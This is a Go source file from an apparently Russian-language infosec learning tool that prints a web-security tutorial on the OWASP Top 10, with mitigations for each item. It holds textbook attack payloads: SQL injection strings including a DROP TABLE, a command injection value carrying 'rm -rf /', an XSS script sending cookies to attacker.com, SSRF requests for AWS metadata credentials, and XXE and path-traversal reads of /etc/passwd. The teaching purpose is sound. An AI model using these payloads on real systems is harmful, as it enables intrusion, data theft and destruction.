rubric/modules/infosecmodules/infosec_web.go
2026-07-21 14:52:55 +03:00

241 lines
11 KiB
Go
Executable file
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package infosecmodules
import (
"rubric/utils"
)
var WebModule = Module{
Key: "web",
Aliases: []string{"w", "owasp", "webapp"},
Title: "Безопасность веб-приложений",
Description: "OWASP Top 10, XSS, SQLi, CSRF, SSRF, XXE, инъекции и защита",
Run: showWeb,
}
func showWeb() {
utils.Header("InfoSec — Безопасность веб-приложений")
utils.Section("OWASP Top 10 (2021)")
utils.Code(`A01 Broken Access Control — нарушение контроля доступа (IDOR, privilege escalation)
A02 Cryptographic Failures — слабая/отсутствующая криптография
A03 Injection — инъекции (SQL, NoSQL, команды, LDAP)
A04 Insecure Design — небезопасный дизайн
A05 Security Misconfiguration — неправильная конфигурация
A06 Vulnerable Components — уязвимые зависимости
A07 Auth Failures — ошибки аутентификации и сессий
A08 Software & Data Integrity — нарушение целостности ПО и данных
A09 Logging & Monitoring Failures — недостаточное логирование
A10 SSRF — Server-Side Request Forgery`)
utils.Section("A03 Injection — SQL Injection")
utils.Code(`SQL Injection — внедрение SQL-кода через пользовательский ввод.
Уязвимый код:
query = "SELECT * FROM users WHERE name='" + name + "'"
# Ввод: ' OR '1'='1
# Результат: SELECT * FROM users WHERE name='' OR '1'='1'
Типы SQLi:
In-band — ответ видно в ответе приложения
Error-based — ошибки раскрывают структуру БД
Union-based — UNION SELECT для получения данных
Blind — нет прямого ответа, только true/false или задержки
Boolean-based — условие true/false
Time-based — SLEEP() для подтверждения
Out-of-band — данные через DNS/HTTP запросы
Примеры атак:
' OR '1'='1' -- # обход авторизации
' UNION SELECT 1,user(),3 -- # получить имя БД-пользователя
'; DROP TABLE users; -- # разрушительная (редко работает)
' AND 1=2 UNION SELECT table_name FROM information_schema.tables --
Защита:
1. Параметризованные запросы (Prepared Statements) — ГЛАВНЫЙ метод
2. ORM (SQLAlchemy, Hibernate, GORM)
3. Хранимые процедуры
4. Экранирование (последний выбор!)
5. WAF
6. Принцип минимальных привилегий для БД-пользователя
# Безопасный код (Python):
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))
# Безопасный код (Go):
db.Query("SELECT * FROM users WHERE name = ?", name)`)
utils.Section("A03 Injection — другие типы")
utils.Code(`NoSQL Injection (MongoDB):
Уязвимо: db.users.find({username: req.body.username})
Атака: {"username": {"$gt": ""}} # всегда true
Защита: валидация типов, mongoose.sanitize()
Command Injection (OS Injection):
Уязвимо: os.system("ping " + host)
Атака: "127.0.0.1; rm -rf /"
Защита: subprocess.run(["ping", host], shell=False) # НЕ shell=True!
LDAP Injection:
Атака на LDAP-запросы (AD аутентификация)
Защита: экранирование спецсимволов LDAP
XPath Injection:
Как SQL, но для XML/XPath
Защита: параметризованные XPath запросы
Template Injection (SSTI):
Уязвимо: render_template_string("Hello " + name)
Атака: name = "{{7*7}}" → 49 (Jinja2 выполняет код)
Опасность: RCE (Remote Code Execution)
Защита: никогда не рендерить пользовательский ввод как шаблон`)
utils.Section("XSS — Cross-Site Scripting")
utils.Code(`XSS — внедрение скриптов в страницы, просматриваемые другими пользователями.
Выполняется в браузере жертвы.
Типы:
Reflected XSS — в параметре запроса, не сохраняется
URL: /search?q=<script>alert(1)</script>
Stored (Persistent) XSS — сохраняется в БД/файлах
Комментарий: <script>document.cookie</script>
Опаснее: видят все пользователи
DOM-based XSS — через DOM, не проходит через сервер
document.write(location.hash)
Что может сделать XSS:
- Украсть cookies (document.cookie)
- Кейлоггинг (capture input)
- Перенаправление (window.location)
- Изменить страницу (phishing)
- CSRF от имени жертвы
Атака (кража cookies):
<script>
new Image().src="https://attacker.com/steal?c="+document.cookie
</script>
Защита:
1. Content Security Policy (CSP) — главная защита
2. Экранирование вывода (output encoding)
HTML: &lt; &gt; &amp; &quot;
3. HttpOnly cookies (нельзя читать через JS)
4. X-XSS-Protection заголовок (устарел)
5. Sanitize библиотеки (DOMPurify для JS)
# CSP заголовок:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-random123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none'`)
utils.Section("CSRF — Cross-Site Request Forgery")
utils.Code(`CSRF — выполнение действий от имени аутентифицированного пользователя.
Браузер автоматически отправляет cookies с любым запросом.
Атака:
1. Alice вошла в bank.com (cookies в браузере)
2. Alice открывает attacker.com
3. Страница attacker.com:
<img src="https://bank.com/transfer?to=hacker&amount=1000">
4. Браузер отправляет запрос с cookies Alice!
5. Перевод выполнен.
Защита:
1. CSRF-токен — уникальный токен в форме/заголовке
<input type="hidden" name="csrf_token" value="random_token">
Сервер проверяет токен при каждом POST
2. SameSite Cookie:
Set-Cookie: session=abc; SameSite=Strict # только same-site
Set-Cookie: session=abc; SameSite=Lax # кросс-сайт только GET
Set-Cookie: session=abc; SameSite=None; Secure # везде (CSRF-уязвимо)
3. Проверка Origin/Referer заголовка
4. Double Submit Cookie
5. Custom request header (X-Requested-With: XMLHttpRequest)
Браузеры не добавляют кастомные заголовки кросс-оригин без CORS`)
utils.Section("SSRF — Server-Side Request Forgery")
utils.Code(`SSRF — сервер делает запрос к произвольному URL, указанному атакующим.
Атака:
# Уязвимое API: POST /fetch {"url": "..."}
# Доступ к внутренним сервисам:
{"url": "http://192.168.1.1/admin"}
{"url": "http://localhost:8080/actuator"}
# AWS metadata (получить credentials):
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# Сканирование внутренней сети:
{"url": "http://10.0.0.1:3306"}
Защита:
1. Whitelist разрешённых URL/доменов
2. Блокировать приватные IP диапазоны
3. DNS rebinding защита
4. Ограничить исходящие соединения (egress firewall)
5. AWS IMDSv2 (требует токен для metadata)`)
utils.Section("A01 Broken Access Control — IDOR")
utils.Code(`IDOR (Insecure Direct Object Reference) — прямые ссылки на объекты без проверки прав.
Атака:
GET /api/users/1001/profile # твой профиль
GET /api/users/1002/profile # чужой профиль (просто меняем ID!)
GET /api/orders/5678/invoice # чужой счёт
Защита:
1. Всегда проверять авторизацию к конкретному объекту
2. Использовать GUID/UUID вместо последовательных ID
3. Indirect Reference Map (пользователь видит только свои ID)
4. Тестировать с разными пользователями!
Privilege Escalation:
Горизонтальная — доступ к данным другого пользователя
Вертикальная — получение прав admin
# Пример правильной проверки (Python):
order = Order.get(order_id)
if order.user_id != current_user.id:
return 403 # Forbidden`)
utils.Section("Другие важные уязвимости")
utils.Code(`XXE (XML External Entity):
Уязвимо: парсер обрабатывает внешние сущности
Атака:
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Защита: отключить XXE в парсере, использовать JSON
Path Traversal:
Атака: GET /download?file=../../../../etc/passwd
Защита: realpath + проверка что путь внутри разрешённой директории
Insecure Deserialization:
Атака: подделать сериализованный объект → RCE
Защита: не десериализовать непроверенные данные, подписывать объекты
Open Redirect:
Атака: /redirect?to=https://evil.com
Защита: whitelist разрешённых доменов для редиректа
Security Headers (важные HTTP заголовки):
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=()`)
utils.Footer()
}